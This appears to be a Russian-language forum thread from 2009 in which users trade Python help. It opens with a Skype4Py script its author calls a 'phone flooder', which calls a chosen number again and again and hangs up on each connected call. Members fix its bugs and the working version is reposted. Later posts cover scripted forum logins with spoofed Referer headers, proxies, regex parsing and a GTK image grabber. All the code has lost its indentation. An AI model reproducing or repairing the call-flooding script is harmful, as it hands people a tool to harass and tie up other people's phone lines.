from Skype4Py import call
num = raw_input("Input tel number, like +1234567890: ")
pause = raw_input("Input pause(sec): ")
callsCount = 0
while 1==1:
fd = open("log.txt", "w")
fd.write(str(callsCounter))
# This variable will get its actual value in OnCall handler
CallStatus = 0
# Here we define a set of call statuses that indicate a call has been either aborted or finished
CallIsFinished = set ([Skype4Py.clsFailed, Skype4Py.clsFinished, Skype4Py.clsMissed, Skype4Py.clsRefused, Skype4Py.clsBusy, Skype4Py.clsCancelled]);
def AttachmentStatusText(status):
return skype.Convert.AttachmentStatusToText(status)
def CallStatusText(status):
return skype.Convert.CallStatusToText(status)
# This handler is fired when status of Call lol has changed
def OnCall(call, status):
global CallStatus
CallStatus = status
print 'Call status: ' + CallStatusText(status)
if CallStatusText(status)=='Call in Progress': #Call in progress
call.Finish()
print "Waiting pause..."
# This handler is fired when Skype attatchment status changes
def OnAttach(status):
print 'API attachment status: ' + AttachmentStatusText(status)
if status == Skype4Py.apiAttachAvailable:
skype.Attach()
# Let's see if we were started with a command line parameter..
try:
CmdLine = num
except:
print 'Missing command line parameter'
sys.exit()
# Creating Skype lol and assigning event handlers..
skype = Skype4Py.Skype()
skype.OnAttachmentStatus = OnAttach
skype.OnCallStatus = OnCall
# Starting Skype if it's not running already..
if not skype.Client.IsRunning:
print 'Starting Skype..'
skype.Client.Start()
# Attatching to Skype..
print 'Connecting to Skype..'
skype.Attach()
skype.PlaceCall(CmdLine)
# Checking if what we got from command line parameter is present in our contact list
Found = False
# Loop until CallStatus gets one of "call terminated" values in OnCall handler
while not CallStatus in CallIsFinished:
pass
time.sleep(int(pause))
callsCount += 1
вылетает с ошибкой. ругается на строку fd = open("log.txt", "w")
если вставить в конец после time.sleep то не ругается, но и в файл не пишет, даже не создаёт его.
вылетает с ошибкой. ругается на строку fd = open("log.txt", "w")
И как же?
если вставить в конец после time.sleep то не ругается, но и в файл не пишет, даже не создаёт его.
Странно =)) Такой код компилироваться как раз не дожен. Вообще в конец нужно вставить fd.close() для приличия.
Перед fd.write(str(callsCounter)) отступ где? Очевидно вместо callsCounter надо писать callsCount
Отступ перед callsCount += 1
PS: в целом быдлокод - не ок :(
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Флудер телефонов. Работает со skype. У вас должен быть положительный баланс на skype аккаунте.
# Для работы необходимы:
# Python: http://downloads.activestate.com/ActivePython/windows/2.6/ActivePython-2.6.1.1-win32-x86.msi
# Skype4Py: http://garr.dl.sourceforge.net/sourceforge/skype4py/Skype4Py-1.0.31.0.win32.exe
# Skype: http://www.skype.com/intl/ru/download/
#
# version 0.2
# created by inlanger
import sys, time, Skype4Py
from Skype4Py import call
num = raw_input("Input tel number, like +1234567890: ")
pause = raw_input("Input pause(sec): ")
callsCount = 0
while 1==1:
fd = open("log.txt", "w")
fd.write(str(callsCount))
# This variable will get its actual value in OnCall handler
CallStatus = 0
# Here we define a set of call statuses that indicate a call has been either aborted or finished
CallIsFinished = set ([Skype4Py.clsFailed, Skype4Py.clsFinished, Skype4Py.clsMissed, Skype4Py.clsRefused, Skype4Py.clsBusy, Skype4Py.clsCancelled]);
def AttachmentStatusText(status):
return skype.Convert.AttachmentStatusToText(status)
def CallStatusText(status):
return skype.Convert.CallStatusToText(status)
# This handler is fired when status of Call lol has changed
def OnCall(call, status):
global CallStatus
CallStatus = status
print 'Call status: ' + CallStatusText(status)
if CallStatusText(status)=='Call in Progress': #Call in progress
call.Finish()
print "Waiting pause..."
# This handler is fired when Skype attatchment status changes
def OnAttach(status):
print 'API attachment status: ' + AttachmentStatusText(status)
if status == Skype4Py.apiAttachAvailable:
skype.Attach()
# Let's see if we were started with a command line parameter..
try:
CmdLine = num
except:
print 'Missing command line parameter'
sys.exit()
# Creating Skype lol and assigning event handlers..
skype = Skype4Py.Skype()
skype.OnAttachmentStatus = OnAttach
skype.OnCallStatus = OnCall
# Starting Skype if it's not running already..
if not skype.Client.IsRunning:
print 'Starting Skype..'
skype.Client.Start()
# Attatching to Skype..
print 'Connecting to Skype..'
skype.Attach()
skype.PlaceCall(CmdLine)
# Checking if what we got from command line parameter is present in our contact list
Found = False
# Loop until CallStatus gets one of "call terminated" values in OnCall handler
while not CallStatus in CallIsFinished:
pass
time.sleep(int(pause))
callsCount += 1
Nightmarе
04.12.2009, 15:54
всем спасибо. сам не заметил что в коде count и counter потому и ошибка на несуществующюю переменную.
Заметил что в w7 + p 2.6+urllib2 долго грузятся страницы,это плохая совместимость с w7 или так и должно быть?
Разница между php+curl и python+urllib2 почти в 3 раза.
login999
09.12.2009, 10:44
Заметил что в w7 + p 2.6+urllib2 долго грузятся страницы,это плохая совместимость с w7 или так и должно быть?
Разница между php+curl и python+urllib2 почти в 3 раза.
Под вынь7 у одного юзера wxpython приложение так и не запустилось.
Но вот насчет скорости - хз, хз. Ты лучше сравни pyCURL и python+urllib2, а не PHP+CURL и Python+urllib2. Сам CURL однозначно быстрее urllib2.
alextoun
09.12.2009, 19:56
Попробуй с 3-ей веткой
Резвее идет.
[Dezzter]
09.12.2009, 21:51
Где можно на русском почитать про модули re, urllib и urllib2 ?
Официальную документацию на англ пробовал читать, из-за отсутсвия хороших знаний англ не особо понял.. По этому хотелось бы на русском почитать про данные модули)
[Dezzter], врятли, я не видел. да и вообще нужно анг. язык учить. можешь спросить, что не понятно - объясню.
[Dezzter]
09.12.2009, 22:32
да и вообще нужно анг. язык учить.
Да понятно, в школе просто бездельничал, а щас времени нету на изучение :)
можешь спросить, что не понятно - объясню.
Спасибо, но практически всё не понятно) Пока нечего и спрашивать то, просто хотел изучить данные модули, т.к. знаю, что скоро они мне понадобятся)
Придётся пользоваться переводчиком, гуглом, чужими сорцами и множеством экспериментов :)
login999
09.12.2009, 22:44
']Да понятно, в школе просто бездельничал, а щас времени нету на изучение :)
Спасибо, но практически всё не понятно) Пока нечего и спрашивать то, просто хотел изучить данные модули, т.к. знаю, что скоро они мне понадобятся)
Придётся пользоваться переводчиком, гуглом, чужими сорцами и множеством экспериментов :)
Без знания инглиша понимания как такового не будет (либо придёт оно очень нескоро, и с трудом).
Python "интуитивно понятен", но только в том случае, если инглиш знаешь. Лучше потрать месяц на изучение английского, тогда проще будет. Доков нормальных на русском по питону днём с огнём не найдешь. Что может тебе помочь - Dive Into Python. Есть перевод на русский, все рекомендуют, но лично я не читал, если нужно просто вводное то почитай учебник на wikibooks, но там об этих модулях практически ничего нет. Еще порыскай Python 2.5 Reference card - охренетельная вещь (Процентов 70 тупорылых вопросов отпадут сами по себе) - ИМХО это пример идеальных доков (кратко и обо всем (на базовом уровне)). И вот Python Reference card я бы на твоём месте перевел - оно того стоит...
alextoun
09.12.2009, 22:55
если что, то вот
http://rgruet.free.fr/PQR25/PQR2.5.html
Учи инглиш.
ВСе самое вкусное именно на нем.
[Dezzter]
09.12.2009, 23:00
Без знания инглиша понимания как такового не будет (либо придёт оно очень нескоро, и с трудом).
Python "интуитивно понятен", но только в том случае, если инглиш знаешь.
Ну хз хз, 4 дня питон учу.. Удивляюсь своим успехам) "Не читая книги" мини программки на лету пишу, ну так, подглядываю чисто структуру посмотреть, не более того! Ну думаю, предыдущие знания программирования дают знать о себе :) Типы, операции, инстукции на лету схавал =)
Лучше потрать месяц на изучение английского, тогда проще будет.
Ну за месяц не выучишь + времени нету :(
Что может тебе помочь - Dive Into Python. Есть перевод на русский, все рекомендуют, но лично я не читал
Обязательно найду
если нужно просто вводное то почитай учебник на wikibooks, но там об этих модулях практически ничего нет.
Хехе, я как раз читаю в связке эту книгу и книгу Лутца "Изучаем Питон, третье издание"
Но ни там, ни там нету про эти модули практически ни чего, буквально пару строк((
Еще порыскай Python 2.5 Reference card - охренетельная вещь (Процентов 70 тупорылых вопросов отпадут сами по себе) - ИМХО это пример идеальных доков (кратко и обо всем (на базовом уровне)). И вот Python Reference card я бы на твоём месте перевел - оно того стоит...
Попробую юзать в связке с переводчиком, думаю всё получится.. Ибо я многое понимаю, видя примеры, иногда даже пояснения читать не приходится)
Спасибо, воспользуюсь вашими советами :)
login999
09.12.2009, 23:11
если что, то вот
http://rgruet.free.fr/PQR25/PQR2.5.html
Учи инглиш.
ВСе самое вкусное именно на нем.
Ну лично я имел ввиду http://home.uchicago.edu/~gan/file/python.pdf
У самого распечатка лежит. Жалею о том, что с самого начала ее не увидел - сколько времени бы сэкономил...
[Dezzter]
10.12.2009, 18:57
Тренируюсь щас с POST авторизациями.. Решил попробовать на ачате.
Вот сделал код:
import urllib
import urllib2
import cookielib
cookie = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(c ookie))
urllib2.install_opener(opener)
user_agent = 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT'
headers = { 'User-Agent' : user_agent }
url = 'https://forum.antichat.ru/index.php'
values = {'vb_login_username' : '[Dezzter]',
'vb_login_password' : 'пасс'}
data = urllib.urlencode(values)
req = urllib2.Request(url, data, headers)
response = urllib2.urlopen(req)
the_page = response.read()
print the_page
Выполняю скрипт, получаю вот что:
POST requests from foreign hosts are not allowed. <br> Для того чтоб постить на форуме необходимо разрещить referrer для нашего форума.<br> Referrer заблокирован у Вас либо firewill, либо в opera или firefox<br>Блокировка сделана для безопасности пользователей форума.
Погуглил про Referrer в питоне, что то вообще ни чего не нашёл.. Нашёл только реализацию с курлом :(
curl.setopt(HTTPHEADER,["Referer: https://stat.mrk/cgi-bin/traff/ipastat.cgi"])
И вообще, код правильный? Если бы не referrer, то работало бы ?
Исправь на:
headers = { 'User-Agent' : user_agent,"Referer":"https://forum.antichat.ru/index.php" }
Тебе всего лишь нужно было добавить Referer в headers ;)
[Dezzter]
10.12.2009, 19:48
Спасибо, проблема с Referer решина, но!
Я так понял дело в кукисах, т.к. авторизация не проходит успешно.
Если посмотреть страницу, то в коде страницы видно, что я по прежнему не авторизован! :(
На тебе пример:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import urllib
import urllib2
import re
USERNAME = 'username'
PASSWORD = 'password'
url = 'login_url'
data = urllib.urlencode({
'vb_login_username': USERNAME,
'vb_login_password': PASSWORD,
'cookieuser': '1',
's': '',
'do': 'login',
'forceredirect': '0',
'vb_login_md5password': '',
})
headers = {
'User-Agent': 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5',
'Referer': 'index_page_url',
}
req = urllib2.Request(url, data, headers)
page = urllib2.urlopen(req).read()
print page
Только измени константы и адреса страниц для логина и реферер.
login999
10.12.2009, 21:56
Эхх, если кто из цветных заметит - нагадютЪ в карму :)
Тулза конкретно для античата :
http://dumpz.org/10228/
login999, а в коде нет ни 1 упоминания ачата :D
позор мне за то что немогу найти этого сам :(
дайте плиз ссылки на статьи описывающие работу с POST и GET запросами на сайт.
Ну типо на питоне произвести коннект на сайт и получить выданую страницу, перейти там по ссылке с POST параметрами и т.д.
[Dezzter]
13.12.2009, 12:55
import re
import urllib2
url = urllib2.urlopen('http://site.ru/test.php')
url=url.read()
match=re.findall('<!-- test -->[ \r\t].*?<!-- test2 -->', url)
match=str(match)[2:-2]
print match
Проблема вот в чём, если HTML страница вот такого вида:
<!-- test --> Сдесь какой-то текст <!-- test2-->
То всё парсится отлично, а вот если уже вот такого:
<br><br><br>
<center> Первая строка </center>
<center> Вторая строка </center>
<!-- test -->
<br>
<center> Пляске </center>
<br>
<!-- test2 -->
<center> Третья строка </center>
<center> Четвёртая строка </center>
Тогда ни чего не парсится :(
Я так понял, что re.findall парсит только строку.. а у меня во втором примере, нужно уже спарсить несколько строк :)
Как решить эту проблему? Чёт питоновскую документацию полистал и не смог сам раздуплиться =/
.* - все символы кроме \n.
Чтобы учитывались можно указать модификатор s.
[Dezzter]
13.12.2009, 13:08
Пример кода можно?
Сам попробовал, не получилось.. всё таки что-то не так делаю :(
*uNkN0Wn*
13.12.2009, 13:40
login999 после 1-го сообщения больше не отправляет. И еще с кодировкой проблема.
[Dezzter]
13.12.2009, 13:46
login999 после 1-го сообщения больше не отправляет. И еще с кодировкой проблема.
Всё там отправляет, жди дольше.. На ачате ограничение стоит, каждое следующее письмо можно отправлять ток по прошествии 60 секунд :)
Да и с кодировкой всё в порядке, по крайней мере у меня ;)
*uNkN0Wn*
13.12.2009, 13:47
']Всё там отправляет, жди дольше.. На ачате ограничение стоит, каждое следующее письмо можно отправлять ток по прошествии 60 секунд :)
Да и с кодировкой всё в порядке, по крайней мере у меня ;)
За отправку да не подумал. Но с кодировкой проблема не только у меня.
Кодировка в python больная тема :(
rushter, никакая она не больная :) тыкни пальцем, где питон делает что-то не так, как надо.
2 [Dezzter], http://docs.python.org/library/re.html#re.S
rushter, никакая она не больная :) тыкни пальцем, где питон делает что-то не так, как надо.
2 [Dezzter], http://docs.python.org/library/re.html#re.S
Да всё так делает,просто постоянно надо использовать encode/decode
login999
13.12.2009, 14:51
']import re
import urllib2
url = urllib2.urlopen('http://site.ru/test.php')
url=url.read()
match=re.findall('<!-- test -->[ \r\t].*?<!-- test2 -->', url)
match=str(match)[2:-2]
print match
Проблема вот в чём, если HTML страница вот такого вида:
<!-- test --> Сдесь какой-то текст <!-- test2-->
То всё парсится отлично, а вот если уже вот такого:
<br><br><br>
<center> Первая строка </center>
<center> Вторая строка </center>
<!-- test -->
<br>
<center> Пляске </center>
<br>
<!-- test2 -->
<center> Третья строка </center>
<center> Четвёртая строка </center>
Тогда ни чего не парсится :(
Я так понял, что re.findall парсит только строку.. а у меня во втором примере, нужно уже спарсить несколько строк :)
Как решить эту проблему? Чёт питоновскую документацию полистал и не смог сам раздуплиться =/
re.DOTALL, re.MULTILINE
Но будет проц грузить...
*uNkN0Wn*
13.12.2009, 14:57
Я только начал учить питон, так что если люди, которые смогут помогать, подсказывать? Если чего напишите аську.
login999
13.12.2009, 14:57
login999 после 1-го сообщения больше не отправляет. И еще с кодировкой проблема.
Вообще-то , это чисто учебный пример, и писался он от нехер делать, и сначала писался для граббы...Просто так.И он работал... Единственное где там могут быть траблы с кодировками - это на кнопках.И мне на него, если честно так пофику было то...
P.S. Поправил
2rushter, ну просто win-консоль использует cp866, сайты вообще используют кто utf-8, кто cp1251, кто koi8-r. поэтому и приходится перекодировать.
from numpy import *
from math import *
b1 = b2 = b3 = b4 = 1
ex = matrix('75,33,75;68,15,68;39,9,39;16,25,16;58,48,5 8;53,5,53;61,63,61;47,72,47;99,29,99;33,17,33;97,8 0,97;29,61,29;16,23,16;13,32,13;72,77,72;43,67,43; 84,34,84;100,13,100;81,13,81;63,11,63')
Y = [0.00077385, 0.00042372, 8.8133, 4.5851, 9,4883, 0.0011336, 0.0011336, 0.10767, 0.43098, 0.80050, 0.00061111, 0.0031792, 44.0359, 0.01448, 0.0075917, 0.00026723, 0.000036466, 0.000095717, 0.000047435, 24.336]
m=20
n=4
eps=0.00001
X = zeros([m,n])
E = zeros([m,1])
B = zeros([n,1])
A = zeros([n,n])
bb1=bb2=bb3=bb4=k=0
while not ((abs((b1-bb1)/b1)<eps) and (abs((b2-bb2)/b2)<eps) and (abs((b3-bb3)/b3)<eps) and (abs((b4-bb4)/b4)<eps)):
k=k+1
print 'iteracya nomer', k
print ''
for element in range(0,m):
n1 = sin(b4*ex[element,2])*((b1+b2*ex[element,0]**2+cos(b3*ex[element,1])))**(sin(b4*ex[element,2])-1)
n2 = (sin(b4*ex[element,2])*((b1+b2*ex[element,0]**2+cos(b3*ex[element,1])))**(sin(b4*ex[element,2])-1))*ex[element,0]**2
n3 = (sin(b4*ex[element,2])*((b1+b2*ex[element,0]**2+cos(b3*ex[element,1])))**(sin(b4*ex[element,2])-1))*(-sin(b3*ex[element,2])*ex[element,2])
n4 = (sin(b4*ex[element,2])*((b1+b2*ex[element,0]**2+cos(b3*ex[element,1])))**(sin(b4*ex[element,2])))*log(b1+b2*ex[element,0]**2+cos(b3*ex[element,1]))*cos(ex[element,2]*b4)*ex[element,2]
X[element,0] = n1
X[element,1] = n2
X[element,2] = n3
X[element,3] = n4
E[element,0] = Y[element]-(b1+b2*ex[element,0]**2+cos(b3*ex[element,1]))**sin(b4*ex[element,2])
print 'matrix X:'
print X
A = dot(X.T,X)
A = linalg.inv(A)
Z = dot(X.T,E)
B = dot(A,Z)
print 'matrix B:'
print B
bb1=b1
bb2=b2
bb3=b3
bb4=b4
b1=b1+B[0]
b2=b2+B[1]
b3=b3+B[2]
b4=b4+B[3]
print b1,b2,b3,b4,k
трабла: на 3ей итерации: ValueError: math domain error...
wtf?!
login999
13.12.2009, 19:07
2 TRX.new
лично я - хз...
Есть текст, одной строкой, вот кусок из него
idden\" name=\"fid\" id=\"fid\" value=\"9410924\" \/>\n <input type=\"hidden\" name=\"hash\" id=\"hash\" value=\"1260718814_aa0256f3b89294f28b\" \/>\n <input type=\"hidden\" name=\"cats\" id=\"privacy_cats\" \/>\n <input type=\"hi
мне нужно из него получить значение hash'a 1260718814_aa0256f3b89294f28b
Делаю так
print re.findall(r'id=\"hash\" value=\"(.*?)\"',data.read())
ничего ненаходит. Ну собсна я и неждал что это чтото найдет ибо это ваще какаято черная магия, пытался найти описание функции на русском, нихрена ненашол. Только посты на разных форумах, из чего примерно слепил свои параметры, но увы :(
PS. вот такой черной магие решил задачу
hash = re.findall(r'id=."hash."\svalue=."(.*?)."', data)[0]
login999
13.12.2009, 20:33
import re
a = '''idden\" name=\"fid\" id=\"fid\" value=\"9410924\" \/>\n <input type=\"hidden\" name=\"hash\" id=\"hash\" value=\"1260718814_aa0256f3b89294f28b\" \/>\n <input type=\"hidden\" name=\"cats\" id=\"privacy_cats\" \/>\n <input type=\"hi'''
hash_val = re.findall(r'''\"hash\"\ value\=\"(.*?)\"''', a)
print hash_val
P.S> Лентяй
from numpy import *
from math import *
b1 = b2 = b3 = b4 = 1
ex = matrix('75,33,75;68,15,68;39,9,39;16,25,16;58,48,5 8;53,5,53;61,63,61;47,72,47;99,29,99;33,17,33;97,8 0,97;29,61,29;16,23,16;13,32,13;72,77,72;43,67,43; 84,34,84;100,13,100;81,13,81;63,11,63')
Y = [0.00077385, 0.00042372, 8.8133, 4.5851, 9,4883, 0.0011336, 0.0011336, 0.10767, 0.43098, 0.80050, 0.00061111, 0.0031792, 44.0359, 0.01448, 0.0075917, 0.00026723, 0.000036466, 0.000095717, 0.000047435, 24.336]
m=20
n=4
eps=0.00001
X = zeros([m,n])
E = zeros([m,1])
B = zeros([n,1])
A = zeros([n,n])
bb1=bb2=bb3=bb4=k=0
while not ((abs((b1-bb1)/b1)<eps) and (abs((b2-bb2)/b2)<eps) and (abs((b3-bb3)/b3)<eps) and (abs((b4-bb4)/b4)<eps)):
k=k+1
print 'iteracya nomer', k
print ''
for element in range(0,m):
n1 = sin(b4*ex[element,2])*((b1+b2*ex[element,0]**2+cos(b3*ex[element,1])))**(sin(b4*ex[element,2])-1)
n2 = (sin(b4*ex[element,2])*((b1+b2*ex[element,0]**2+cos(b3*ex[element,1])))**(sin(b4*ex[element,2])-1))*ex[element,0]**2
n3 = (sin(b4*ex[element,2])*((b1+b2*ex[element,0]**2+cos(b3*ex[element,1])))**(sin(b4*ex[element,2])-1))*(-sin(b3*ex[element,2])*ex[element,2])
n4 = (sin(b4*ex[element,2])*((b1+b2*ex[element,0]**2+cos(b3*ex[element,1])))**(sin(b4*ex[element,2])))*log(b1+b2*ex[element,0]**2+cos(b3*ex[element,1]))*cos(ex[element,2]*b4)*ex[element,2]
X[element,0] = n1
X[element,1] = n2
X[element,2] = n3
X[element,3] = n4
E[element,0] = Y[element]-(b1+b2*ex[element,0]**2+cos(b3*ex[element,1]))**sin(b4*ex[element,2])
print 'matrix X:'
print X
A = dot(X.T,X)
A = linalg.inv(A)
Z = dot(X.T,E)
B = dot(A,Z)
print 'matrix B:'
print B
bb1=b1
bb2=b2
bb3=b3
bb4=b4
b1=b1+B[0]
b2=b2+B[1]
b3=b3+B[2]
b4=b4+B[3]
print b1,b2,b3,b4,k
трабла: на 3ей итерации: ValueError: math domain error...
wtf?!
Разобрался.. при вычислениях получается вырожденная матрица (Singular matrix) и поэтому в результирующую матрицу заносятся NaN ... судя по всему косяк в начальных данных..
import re
a = '''idden\" name=\"fid\" id=\"fid\" value=\"9410924\" \/>\n <input type=\"hidden\" name=\"hash\" id=\"hash\" value=\"1260718814_aa0256f3b89294f28b\" \/>\n <input type=\"hidden\" name=\"cats\" id=\"privacy_cats\" \/>\n <input type=\"hi'''
hash_val = re.findall(r'''\"hash\"\ value\=\"(.*?)\"''', a)
print hash_val
P.S> Лентяй
спс, тока я там в посте дописал что смог получить сам hash :)
[Dezzter]
14.12.2009, 22:44
Рабочий код:
import urllib2
proxy_handler = urllib2.ProxyHandler({'http': '174.142.104.57:3128'})
opener = urllib2.build_opener(proxy_handler)
f = opener.open('http://2ip.ru/')
Не рабочий:
import urllib2
proxy_handler = urllib2.ProxyHandler({'http': '174.142.104.57:3128'})
opener = urllib2.build_opener(proxy_handler)
f = opener.open('http://my_site.ru/test.php')
Вообще ни чего не понимаю, бред какой-то.. Создал страничку на своём сайте, обычный пхп скрипт, который записывает в тхт IP зашедших людей.. Так вот, первый код работает, всё норм :) Как только заменяю 2ip.ru на свой сайт, то сыпятся ошибки:
Traceback (most recent call last):
File "C:\Python26\Python Sorce\test.py", line 14, in <module>
opener.open(http://my_site.ru/test.php').read()
File "C:\Python26\lib\urllib2.py", line 395, in open
response = meth(req, response)
File "C:\Python26\lib\urllib2.py", line 508, in http_response
'http', request, response, code, msg, hdrs)
File "C:\Python26\lib\urllib2.py", line 433, in error
return self._call_chain(*args)
File "C:\Python26\lib\urllib2.py", line 367, in _call_chain
result = func(*args)
File "C:\Python26\lib\urllib2.py", line 516, in http_error_default
raise HTTPError(req.get_full_url(), code, msg, hdrs, fp)
HTTPError: HTTP Error 403: Forbidden
Просто не могу понять почему не работает, страница работает, всё норм :(
login999
14.12.2009, 22:56
']Рабочий код:
import urllib2
proxy_handler = urllib2.ProxyHandler({'http': '174.142.104.57:3128'})
opener = urllib2.build_opener(proxy_handler)
f = opener.open('http://2ip.ru/')
Не рабочий:
import urllib2
proxy_handler = urllib2.ProxyHandler({'http': '174.142.104.57:3128'})
opener = urllib2.build_opener(proxy_handler)
f = opener.open('http://my_site.ru/test.php')
Вообще ни чего не понимаю, бред какой-то.. Создал страничку на своём сайте, обычный пхп скрипт, который записывает в тхт IP зашедших людей.. Так вот, первый код работает, всё норм :) Как только заменяю 2ip.ru на свой сайт, то сыпятся ошибки:
Traceback (most recent call last):
File "C:\Python26\Python Sorce\test.py", line 14, in <module>
opener.open(http://my_site.ru/test.php').read()
File "C:\Python26\lib\urllib2.py", line 395, in open
response = meth(req, response)
File "C:\Python26\lib\urllib2.py", line 508, in http_response
'http', request, response, code, msg, hdrs)
File "C:\Python26\lib\urllib2.py", line 433, in error
return self._call_chain(*args)
File "C:\Python26\lib\urllib2.py", line 367, in _call_chain
result = func(*args)
File "C:\Python26\lib\urllib2.py", line 516, in http_error_default
raise HTTPError(req.get_full_url(), code, msg, hdrs, fp)
HTTPError: HTTP Error 403: Forbidden
Просто не могу понять почему не работает, страница работает, всё норм :(
Жаголовки....
Тебе доштуп к штранице запрешен
Chubakur
15.12.2009, 23:57
Для того чтобы научится питону я попытался написать граббер картинок. То есть запускаешь скрипт, он просит ввести url страницы, ты его пишешь. И программа начинает скачивать оттуда все картинки и сохранять их в папку, которая называется именем сайта откуда скачиваешь. После этого я решил в качестве тренировки дополнить это GUI, для этого я заюзал GTK, и сразу же столкнулся с проблемой. Сам интерфейс выглядит просто, сверху окно для ввода URL, ниже кнопка, ниже окно куда выводится лог. После того как я ввожу url и жму на кнопку, форма зависает. И только после того как все картинки закачаются. Форма развисает, и лог в окне написан уже целиком. Насколько я понимаю, проблема в том, что при нажатии на кнопку у меня выполняется функция-обработчик которая все качает, и поэтому GTK неактивно. То-есть функция обработчик вызывает другие функции, и ждет пока они выполнятся. Я решил, что можно тогда из под обработчика функции вызывать не напрямую, а с передачей управления, например call. Однако , похожих команд для питона я не нашел. Каким образом можно решить эту проблему, чтобы интерфейс стал динамическим ? То-есть закачка производилась как бы в фоне. Например, скачалась картинка - добавилась строчка лога. И так до конца программы.
P.S. Кстати, я тут придумал как решить это извращенным способом. При нажатии на кнопку будет менятся значение булевой переменной, также будет таймер, который каждые n миллисекунд вызывает функцию. Функция эта будет проверять:
if значение_переменной_true:
тормозим таймер, и начинаем выполнять все те функции, сбрасываем значение переменной
else
return
Сильно ли это отразится на производительности?
При нажатии на кнопку создаешь и запускаешь поток, в котором и добавляешь элементы. Если не справишься, то днем, когда прийду напишу примерчик.
Как подключить PyQt4 к Python в Windows ?
r0ot, а в чем проблема? Качаешь с: http://www.riverbankcomputing.com/software/pyqt/download версию для windows и устанавливаешь.
всё, разобрался, просто надо было всё скидывать именно в питона
Chubakur
16.12.2009, 18:09
При нажатии на кнопку создаешь и запускаешь поток, в котором и добавляешь элементы. Если не справишься, то днем, когда прийду напишу примерчик.
Напиши пожалуйста!
thread.start_new_thread(test,(link,))
не работает. функция test не вызывается по какой-то причине.
import urllib
import pygtk
pygtk.require('2.0')
import gtk
import re
import random
import os
import urlparse
import time
import threading
link=""
pressed=False
def printG(log):
label.set_text(label.get_text()+'\n'+log)
return
def run():
global link
printG("Please wait")
startHTMLdownload(link)
parsed_string=IOreg()
downloadImages(parsed_string,link)
def startDownloadG(button,textbox,label):
global link
link = textbox.get_text()
if link[0:7]=="http://":
link=link
else:
link="http://"+str(link)
mtimer=threading.Timer(0.1,run)
mtimer.start()
def startHTMLdownload(link):
try:
temp_file=file("temp","r")
except:
temp_file=file("temp","w")
temp_file.close()
temp_file=file("temp","w")
printG("Downloading source code")
urllib.urlretrieve(link,"temp")
temp_file.close()
printG("Source code downloaded")
def HTMLinitializator():
link=raw_input("Enter URL:")
if link[0:7]=="http://":
startHTMLdownload(link)
else:
link="http://"+str(link)
startHTMLdownload(link)
return link
def regexper(source_string,preg_mask):
parsed_string=re.findall(preg_mask, source_string)
return parsed_string
def IOreg():
ofile=file("save.txt","w")
ifile=file("temp","r")
regexp="src=[\'|\"]([^\"]+[gif|png|jpg|jpeg|bmp|img])[\'|\"]"
source_string=ifile.read()
parsed_string = regexper(source_string,regexp)
for image in parsed_string:
ofile.write(str(image+'\n'))
ofile.close()
ifile.close()
return parsed_string
def downloadImages(img_array,link):
parsed_url=urlparse.urlparse(link)
if img_array.__len__():
printG("Creating directory.")
try:
os.mkdir(parsed_url.netloc)
except:
printG("Directory already exist")
counter=0
printG("Start download")
for image in img_array:
if image[0:4]=="http":
image_file_name=str(parsed_url.netloc)+"/"+str(counter)+str(image[image.__len__()-4:image.__len__()])
save_file=file(image_file_name,"w")
save_file.write("")
printG("Start downloading:"+str(image))
try:
urllib.urlretrieve(image, image_file_name)
except:
printG("Error")
continue
counter=counter+1
printG("downloaded:"+str(counter)+"/"+str(img_array.__len__()))
elif image[0:2]=="./":
absoluteLink=link+image[1:image.__len__()]
image_file_name=str(parsed_url.netloc)+"/"+str(counter)+str(image[image.__len__()-4:image.__len__()])
save_file=file(image_file_name,"w")
save_file.write("")
printG("Start downloading:"+str(absoluteLink))
try:
urllib.urlretrieve(absoluteLink, image_file_name)
except:
printG("Error")
continue
counter=counter+1
printG("downloaded:"+str(counter)+"/"+str(img_array.__len__()))
elif image[0:2]=="..":
printG("Relative path is not support.")
continue
elif image[0]=="/":
absoluteLink=link+image
image_file_name=str(parsed_url.netloc)+"/"+str(counter)+str(image[image.__len__()-4:image.__len__()])
save_file=file(image_file_name,"w")
save_file.write("")
printG("Start downloading:"+str(absoluteLink))
try:
urllib.urlretrieve(absoluteLink, image_file_name)
except:
printG("Error")
continue
counter=counter+1
printG("downloaded:"+str(counter)+"/"+str(img_array.__len__()))
else:
absoluteLink=link+"/"+image
image_file_name=str(parsed_url.netloc)+"/"+str(counter)+str(image[image.__len__()-4:image.__len__()])
save_file=file(image_file_name,"w")
save_file.write("")
printG("Start downloading:"+str(absoluteLink))
try:
urllib.urlretrieve(absoluteLink, image_file_name)
except:
printG("Error")
continue
counter=counter+1
printG("downloaded:"+str(counter)+"/"+str(img_array.__len__()))
#main()
window=gtk.Window()
vbox=gtk.VBox()
label=gtk.Label()
textbox=gtk.Entry()
btn_main=gtk.Button("Start")
window.add(vbox)
vbox.add(textbox)
vbox.add(btn_main)
vbox.add(label)
window.show_all()
window.connect("delete-event",lambda a,b: gtk.main_quit())
btn_main.connect("clicked",startDownloadG,textbox,label)
gtk.main()
Вот код. Тут у меня при нажатии на кновку start стартует таймер, который через 0,1 с выполняет функцию run() - а эта функция уже инициализирует все остальные функции. Но по какой-то причине функция run не запускается при включенной граф.оболочке программы.
P.S. Прошу прощения за говнокод, просто изначально это была консольная утилита. И чтобы не писать все заново, я просто отредактировал старый код. Есть много лишнего. Да, и не смейтесь над функцией regexper, я вначале её написал, и только потом осознал что за бред я сделал :(
Нашел тебе статью с примерчиком:
http://h8-self.livejournal.com/6590.html
ps. честно говоря я в pygtk не понимаю ничего)) просто сталкивался давно с такой проблемой на wxpython. так вот. возможно в твоем коде нужно вызвать метод gtk.gdk.threads_init()?
Chubakur
16.12.2009, 22:45
Нашел тебе статью с примерчиком:
http://h8-self.livejournal.com/6590.html
ps. честно говоря я в pygtk не понимаю ничего)) просто сталкивался давно с такой проблемой на wxpython. так вот. возможно в твоем коде нужно вызвать метод gtk.gdk.threads_init()?
Огромное тебе спасибо! После того как я вызвал этод метод, код заработал как часы, даже без исправлений! Большое тебе спасибо!
Огромное тебе спасибо! После того как я вызвал этод метод, код заработал как часы, даже без исправлений! Большое тебе спасибо!
не за что, рад помочь :)
Подскажите, пожалуйста, где можно почитать про программирование для смартфонов на питоне? В частности интересует Symbian 9.4 TOUCH.
